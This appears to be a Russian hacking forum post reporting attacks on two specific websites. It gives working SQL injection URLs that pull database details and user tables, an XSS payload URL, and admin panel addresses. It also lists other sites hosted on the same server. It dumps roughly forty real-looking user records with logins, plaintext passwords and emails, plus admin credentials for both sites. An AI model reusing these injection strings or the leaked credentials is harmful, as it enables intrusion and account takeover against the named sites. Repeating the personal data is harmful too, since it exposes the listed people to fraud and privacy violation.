Форум АНТИЧАТ - Показать сообщение отдельно

kino.ru

Код:

http://kino.ru/cinema.php?id=999+union+select+1,2,3,4,5,6,7/*

version() 4.1.22-standard-log ну и срать))
user() u6635_1@localhost
database() u6635_1

users
~950-100 в базе

Код:

http://kino.ru/cinema.php?id=999+union+select+1,2,3,concat(id,%22:%22,login,%22:%22,psswd,%22:%22,email),5,6,7+from+users+limit+0,1000/*

часть из них...

Код:

вид id:login:psswd:email
1:Rattlemouse:purpur:rattlemouse@gmail.com
2:smoker:7924439:sm@kino.ru
3:nvo:angel:nvo0805@yandex.ru
4:xxx:xxx:xxx@xxx.ru
5:natasha:12345:nvo@kino.ru
6:tarkovsky:1234567:1234567
93:time23:230790:nataxa90paw@mail.ru
9:igor:140766:igormikh@rol.ru
10:elvis:4082506:elvis_n@mail.ru
12:stas:130281:forec@yandex.ru
66:strippedhyena:reptile:strippedhyena@mail.ru
13:Ocsana:310373:ocsana@meden.ru
14:kirr:777444:kirkot@yandex.ru
15:Nat:111222:nat@kino.ru
16:Yuliko:ju17011977:oper@metcombank-moscow.ru
17:Demetr:809809:webspider@list.ru
18:groza:250276:nakostina@yandex.ru
19:Belka:555444:finwar@narod.ru
20:TaN4eS:987654:npocmo@inbox.ru
21:Destiny:03090309:destiny-375@yandex.ru
22:horek:453453:polecat@inbox.ru
23:Crazy:250674:m.osipov@it911.ru
24:Kseka:675675:ksekovka@yandex.ru
25:Oksana:999888:oksanastr@yandex.ru
26:Legenda:tatkasparco:legenda@bk.ru
27:CoolBoy:989898:super@mail2k.ru
28:PODvodnik:magistr:vladis@latnet.lv
29:Andrey:897897:am@4a.ru
30:Stelfort:89265834267:setstelfortshow@mail.ru
31:Fedot:fedot128:galakafedor@mail.ru
32:Reaccia:787878:h_happy@mail.ru
34:Misha:543543:mikhail@sutupov.ru
36:Iren:324324:BLA_BLA_BLA@inbox.ru
37:Surik:kirus:surik@renew.ru
38:LUMER:67890:tit-lesha@mail.ru
39:marusenka:234543:blinovnikvy@awax.ru
42:Tjema:111222:vovikovich@yandex.ru

xss

Код:

http://kino.ru/cinema.php?id=999+union+select+1,"<script>alert()</script>",3,4,5,6,7+from+users+limit+0,1000/*

админка
http://kino.ru/admin

Код:

smoker
7924439

сайты на этом сервере (2ip.ru/server)

Код:

www.freeware.ru
www.elephant.ru
www.kino.ru
www.winceware.ru
www.macware.ru
www.unixware.ru
www.palmware.ru
www.download.ware.ru
www.sail.ru
www.old.freeware.ru
www.ware.ru
www.priceware.ru
www.journey.ru
www.inter.su
www.hospital.ru
www.bakalova.ru
www.debil.ru

шелл не лил

passionfordancing.co.uk

Код:

http://www.passionfordancing.co.uk/country.php?rID=100+union+select+1,2,3,4,5,6

version() 5.0.54
user() passionforda@localhost
database() passionforda

Код:

http://www.passionfordancing.co.uk/country.php?rID=100+union+select+1,2,concat(adminid,char(58),password),4,5,6+from+tbladmin+limit+0,100--

админка

Код:

www.passionfordancing.co.uk/admin

allan@ddswebdesign.co.uk:ki11kenny1970

ни в первом, ни во втором случае доступа к mysql.user не получил=//